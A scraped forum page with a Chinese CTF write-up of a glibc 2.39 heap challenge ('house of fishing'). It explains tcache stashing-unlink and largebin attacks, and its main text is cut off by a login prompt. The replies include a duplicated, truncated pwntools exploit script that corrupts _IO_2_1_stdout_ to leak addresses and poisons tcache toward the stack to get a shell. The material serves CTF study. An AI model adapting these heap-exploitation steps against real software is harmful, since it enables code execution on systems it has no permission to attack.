TRX CTF 2026 house-of-fishing Writeup · rawpayload看了一下 trxctf 2026 的堆题,这题看上去很简单,只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数,从而getshell,但是程序没有 show() 功能,因此无法通过修改fd之类的方式污染 bins,故而我们需要别的方法劫持堆,在刚开始做的时候没想出来怎么打,后面看了一眼官方的wp,自己整理了一下题目给了一个elf文件,一个程序源码和docker file,查看docker file可以得知采用的是 glibc 2.39-0ubuntu8.5 版本的glibc查询程序保护如下:可以看到是一个很典型的 heap 的保护,保护几乎开满了
可以看到非常经典的heap题,存在 增删写 的功能,但是就是没有读,这就导致了实现任意地址写的方法变得麻烦起来了,一些常规的任意地址写的手法就无法生效了。可以看到能够申请 size 值满足 16字节对齐 且 小于 0x500 的chunk当 *admin == 0xdeadbeefdeadcafe 时即可触发 system("/bin/sh") 从而直接拿到shell,因此这题虽然是高版本的堆题目,但是却不需要打IO,只需要实现任意地址写即可getshell首先没有 show() 我们无法直接修改fd指针,那么我们有什么方法可以在不泄露堆地址的情况下将fake chunk放入tcache呢?这时候 tcache_stashing_unlink 就派上了用场,改攻击手法能将smallbin chunk放入tcache中,同时因为 smallbin chunk的 bk 指针没有 safe linking 保护,因此我们可以直接将其修改成 目标地址 - 0x10 然后打 tcach_stashing_unlink 即可将目标地址放入 tcache 中。
由于 malloc 源码中存在如下的代码:他会检测你取出的chunk的bk是否为有效指针,因此如果直接打 tcache_stashing_unlink 则会因此而无法走到 tcache_put(tc_victim, tc_idx); 这一步,因此我们需要提前利用 largebin attack 将一个有效的堆地址写入 fake chunk->bk 处,从而实现对应的攻击因为要打 tcache_stashing_unlink 我们需要在一开始就直接构建好 smallbin chunk,防止后面再构造时出现问题,同时提前构造 smallbin 也可以不让堆结构变得特别乱此时bin的结构如图可以看到成功将6个0xa0的 chunk 放入 smallbin 中。此时我们需要调用largebin attack,在 *(admin + 8) 处的地址写入一个堆地址,从而防止后续 tcache_stashing_unlink 时出现错误最终能够发现成功将一个堆地址写入了 admin + 0x08 处的地址
登录后可查看完整内容
---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-291112.htm
[原创]trx ctf 2026 house of fishing
85 浏览
7 回复
吓哭了
mb_bcynexxj
吓哭了
学姐ddw
吓哭了
学姐ddw
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到tcache_stashing_unlink的过程中是可以通过修改smallbin的bk低字节修改为_IO_2_1_stdout_附近的地址(我的想法是利用是stderr中的指针当fake_chunk->bk,这样就不需要通过largebin_attack了(因为bk_nextsize地址是指向自己而不是libc中的地址,没法修改低字节打到stdout),但是需要修改edit的逻辑,不再是读满size大小的字节,而是可以读部分字节),然后通过修改_IO_2_1_stdout_实现泄露libc地址(menu打印用的是puts),如果能做到这步,那么相当于我们有libc内任意地址读了,那就可以泄露environ来打return_address劫持控制流,不过这些都只是理论...太懒了不想动手试)不知道师傅有没有什么其他见解,或者我这个思路有什么明显不可行的部分吗)
最后于 2026-5-8 07:30
被F0xm1ao编辑
,原因:
最后于 2026-5-8 07:30
被F0xm1ao编辑
,原因:
F0xm1ao
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到 ...
是可行的!我修改了一下源码里的read逻辑,从读满size改成了遇到"\n"停止
然后删除了backdoor函数,修改smallbin的低字节利用tcache_stashing_unlink打_IO_2_1_stdout_来实现show的等价逻辑,并且打environ能够get shell/打orw!
#!/usr/bin/env python3
from pwn import * # type: ignore
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
file_name = "./chall_patched"
libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6"
remote_addr = ""
remote_port = ""
context.binary = e
context.log_level = "debug" # error/debug
if args.REMOTE:
p = remote(remote_addr, remote_port)
elif args.GDB:
gdbscript = """b *$rebase(0x13C9)"""
p = gdb.debug(file_name, gdbscript=gdbscript)
else:
p = process(file_name)
sd = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
rc = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
sh = lambda: p.interactive()
def debug(cmd=""):
if not args.REMOTE:
gdb.attach(p, cmd)
pause()
def choice(a):
sl(str(a).encode())
def add(a, b):
choice(1)
ru(b"ex:")
sl(str(a).encode())
ru(b"ze:")
sl(str(b).encode())
def edit(a, b):
choice(2)
ru(b"ex:")
sl(str(a).encode())
sl(b)
def dell(a):
choice(3)
ru(b"ex:")
sl(str(a).encode())
def safe(a, b):
return b ^ (a >> 12)
for i in range(10):
add(i, 0x390)
# prepare for tcache_poisoning
add(40, 0x200)
add(41, 0x20)
edit(41, b"/flag\x00\x00\x00")
add(42, 0x200)
add(43, 0x20)
dell(42)
dell(40)
# tcache_stashing_unlink
add(19, 0x20)
add(11, 0x390)
add(12, 0x20)
add(13, 0x390)
add(14, 0x20)
add(15, 0x390)
add(16, 0x20)
add(17, 0x390)
add(18, 0x20)
for i in range(3, 9):
dell(i)
dell(1)
dell(0)
dell(2)
dell(11)
dell(13)
dell(15)
dell(17)
dell(9)
add(10, 0x400)
add(3, 0x390)
add(4, 0x390)
edit(9, p64(0) + b"\x50\x45") # smallbin to stdout
for i in range(5, 9):
add(i, 0x390)
add(1, 0x390)
add(30, 0x390)
add(31, 0x390) # stdout
edit(31, p64(0) * 12 + p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
ru(b"es: ")
libc_base = uu64(rc(6)) - 0x204644
slog(b"libc", libc_base)
def leak_payload(a, b):
payload = (
p64(0) * 12
+ p64(0xFBAD1800)
+ p64(0) * 3
+ p64(a)
+ p64(a + b) * 2
+ p64(a)
+ p64(a + b)
return payload
environ = libc_base + libc.sym["_environ"]
edit(31, leak_payload(environ, 8))
ru(b"es: ")
stack = uu64(rc(6))
slog("stack", stack)
edit(31, leak_payload(stack - 0x980, 8))
ru(b"\x70\x79")
PIE_base = uu64(rc(6)) - 0x23AC
slog(b"PIE", PIE_base)
edit(31, leak_payload(PIE_base + 0x4060, 16))
rc(16)
heap_base = uu64(rc(6)) - 0x2A0
slog(b"heap", heap_base)
stack_chunk = heap_base + 0x26D0
sl(b"2")
sleep(0.1)
sl(b"40")
sleep(0.1)
sl(p64(safe(stack_chunk, stack - 0x198)))
slo
...(已截断)
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个backdoor给删除,还能实现劫持控制流的目的吗?我目前只能想到 ...
是可行的!我修改了一下源码里的read逻辑,从读满size改成了遇到"\n"停止
然后删除了backdoor函数,修改smallbin的低字节利用tcache_stashing_unlink打_IO_2_1_stdout_来实现show的等价逻辑,并且打environ能够get shell/打orw!
#!/usr/bin/env python3
from pwn import * # type: ignore
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]
file_name = "./chall_patched"
libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6"
remote_addr = ""
remote_port = ""
context.binary = e
context.log_level = "debug" # error/debug
if args.REMOTE:
p = remote(remote_addr, remote_port)
elif args.GDB:
gdbscript = """b *$rebase(0x13C9)"""
p = gdb.debug(file_name, gdbscript=gdbscript)
else:
p = process(file_name)
sd = lambda a: p.send(a)
sl = lambda a: p.sendline(a)
rc = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
uu32 = lambda a: u32(a.ljust(4, b"\x00"))
uu64 = lambda a: u64(a.ljust(8, b"\x00"))
sh = lambda: p.interactive()
def debug(cmd=""):
if not args.REMOTE:
gdb.attach(p, cmd)
pause()
def choice(a):
sl(str(a).encode())
def add(a, b):
choice(1)
ru(b"ex:")
sl(str(a).encode())
ru(b"ze:")
sl(str(b).encode())
def edit(a, b):
choice(2)
ru(b"ex:")
sl(str(a).encode())
sl(b)
def dell(a):
choice(3)
ru(b"ex:")
sl(str(a).encode())
def safe(a, b):
return b ^ (a >> 12)
for i in range(10):
add(i, 0x390)
# prepare for tcache_poisoning
add(40, 0x200)
add(41, 0x20)
edit(41, b"/flag\x00\x00\x00")
add(42, 0x200)
add(43, 0x20)
dell(42)
dell(40)
# tcache_stashing_unlink
add(19, 0x20)
add(11, 0x390)
add(12, 0x20)
add(13, 0x390)
add(14, 0x20)
add(15, 0x390)
add(16, 0x20)
add(17, 0x390)
add(18, 0x20)
for i in range(3, 9):
dell(i)
dell(1)
dell(0)
dell(2)
dell(11)
dell(13)
dell(15)
dell(17)
dell(9)
add(10, 0x400)
add(3, 0x390)
add(4, 0x390)
edit(9, p64(0) + b"\x50\x45") # smallbin to stdout
for i in range(5, 9):
add(i, 0x390)
add(1, 0x390)
add(30, 0x390)
add(31, 0x390) # stdout
edit(31, p64(0) * 12 + p64(0xFBAD1800) + p64(0) * 3 + b"\x00")
ru(b"es: ")
libc_base = uu64(rc(6)) - 0x204644
slog(b"libc", libc_base)
def leak_payload(a, b):
payload = (
p64(0) * 12
+ p64(0xFBAD1800)
+ p64(0) * 3
+ p64(a)
+ p64(a + b) * 2
+ p64(a)
+ p64(a + b)
return payload
environ = libc_base + libc.sym["_environ"]
edit(31, leak_payload(environ, 8))
ru(b"es: ")
stack = uu64(rc(6))
slog("stack", stack)
edit(31, leak_payload(stack - 0x980, 8))
ru(b"\x70\x79")
PIE_base = uu64(rc(6)) - 0x23AC
slog(b"PIE", PIE_base)
edit(31, leak_payload(PIE_base + 0x4060, 16))
rc(16)
heap_base = uu64(rc(6)) - 0x2A0
slog(b"heap", heap_base)
stack_chunk = heap_base + 0x26D0
sl(b"2")
sleep(0.1)
sl(b"40")
sleep(0.1)
sl(p64(safe(stack_chunk, stack - 0x198)))
slo
...(已截断)
F0xm1ao
F0xm1ao
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个back ...
师傅,我感觉你的这个思路确实非常棒,让我有了挺大的启发。
F0xm1ao
我也做了一下,这个tcache_stashing_unlink确实优雅,但我在思考,这道题其实真正利用的难点是没有show,如果把这个back ...
师傅,我感觉你的这个思路确实非常棒,让我有了挺大的启发。
巨佬
pwn学得真好